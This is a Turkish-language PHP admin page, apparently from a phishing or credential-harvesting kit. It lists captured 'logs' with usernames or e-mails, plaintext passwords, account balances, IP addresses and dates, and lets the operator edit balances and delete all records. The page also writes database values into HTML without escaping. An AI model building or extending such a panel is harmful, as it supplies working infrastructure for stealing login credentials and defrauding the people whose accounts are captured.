<?php
date_default_timezone_set('Europe/Istanbul');
setlocale(LC_TIME, 'tr_TR.UTF-8');
?>
<div class="layout-page">
  <div class="content-wrapper">
    <?php include 'layout/nav.php'; ?>
    <div class="container-xxl flex-grow-1 container-p-y">
      <div class="row">
        <div class="col-12">
          <div class="card">
            <h5 class="card-header">Kayıtlar</h5>
                        <div class="p-2">
              <button class="btn btn-danger" onclick="deleteAll()">Tümünü Sil</button>
  </div>
            <div class="table-responsive text-nowrap">
              <table class="table">
                <thead>
                  <tr>
                    <th>ID</th>
                    <th>Kullanıcı Adı / E-Posta</th>
                    <th>Şifre</th>
                    <th>Bakiye</th>
                    <th>IP</th>
                    <th>Tarih</th>
                  </tr>
                </thead>
                <tbody class="table-border-bottom-0">
                  <?php foreach ($db->fetchAll('SELECT * FROM logs WHERE isDeleted = 0 ORDER BY id DESC') as $log): ?>
                  <tr data-id="<?=$log['id'] ?>">
                    <td><?=$log['id'] ?></td>
                    <td><?=$log['username'] ?></td>
                    <td><?=$log['password'] ?></td>
                    <td class="d-flex align-items-center">
                      <?=$log['balance'] ?>₺
                      <i onclick="editLog(<?=$log['id'] ?>)" style="font-size: 14px" class="edit-icon tf-icons ti ti-edit"></i>
                    </td>
                    <td><?=$log['ip'] ?></td>
                    <td><?=date('d.m.Y H:i:s', $log['date']) ?></td>
                  </tr>
                  <?php endforeach; ?>
                </tbody>
              </table>
            </div>
          </div>
        </div>
      </div> <!-- row-->

      <div class="content-backdrop fade"></div>
    </div>
  </div>
</div>
<!-- MODALS START -->
<?php include 'components/newScanModal.php'; ?>
<!-- MODALS END -->
 <style>
   .edit-icon {
     cursor: pointer;
     color: #0d6efd;
     margin-left: 5px;
   }

   .done-icon, .cancel-icon {
    font-size: 20px;
    color: green;
    cursor: pointer;
   }

   .cancel-icon {
    color: red;
   }

   input[type=number] {
    width: 100px;
   }
   input[type=number]::-webkit-inner-spin-button {
    display: none;
   }
  </style>
<script>
  const cancelLog = (id, balance) => {
    document.querySelector('tr[data-id="'+id+'"] td:nth-child(4)').innerHTML = `
    <td class="d-flex align-items-center">
    ${balance}₺
    <i onclick="editLog(${id})" style="font-size: 14px" class="edit-icon tf-icons ti ti-edit"></i>
    </td>`
  }
  const saveLog = async(id) => {
    const balance = document.querySelector('#balance').value
    if (!balance) return
    cancelLog(id, balance)
    try {
      let res = await fetch('', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({id, balance})
      })
      res = await res.text()
      if (res !== 'OK') throw new Error()
    } catch (e) {
      Swal.fire({
        icon: 'error',
        title: 'Hata',
        text: 'Bakiye kaydedilemedi!'
      })
    }
  }
  const editLog = (id) => {
    const balance = document.querySelector('tr[data-id="'+id+'"] td:nth-child(4)').innerText.replace('₺', '')
    document.querySelector('tr[data-id="'+id+'"] td:nth-child(4)').innerHTML = `
      <td>
      <input type="number" class="form-control" id="balance" value="${balance}" />
      <i onclick="saveLog(${id})" class="done-icon tf-icons ti ti-check"></i>
      <i onclick="cancelLog(${id}, ${balance})" class="cancel-icon tf-icons ti ti-x"></i>
      </td>
    `
    // `<td colspan="6" class="text-center"><i class="spinner-border spinner-border-sm"></i></td>`
  }

  const deleteAll = async() => {
    Swal.fire({
      icon: 'warning',
      title: 'Emin misiniz?',
      text: 'Tüm kayıtları silmek istediğinizden emin misiniz?',
      showCancelButton: true,
      confirmButtonText: 'Evet',
      cancelButtonText: 'Vazgeç',
    })
    .then(async(res) => {
      if (res.isConfirmed) {
        const req = await fetch('', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({
            deleteAll: true
          })
        })
        const res2 = await req.text()
        if (res2 !== 'OK') throw new Error()
        location.reload()
      }
    })
  }
</script>
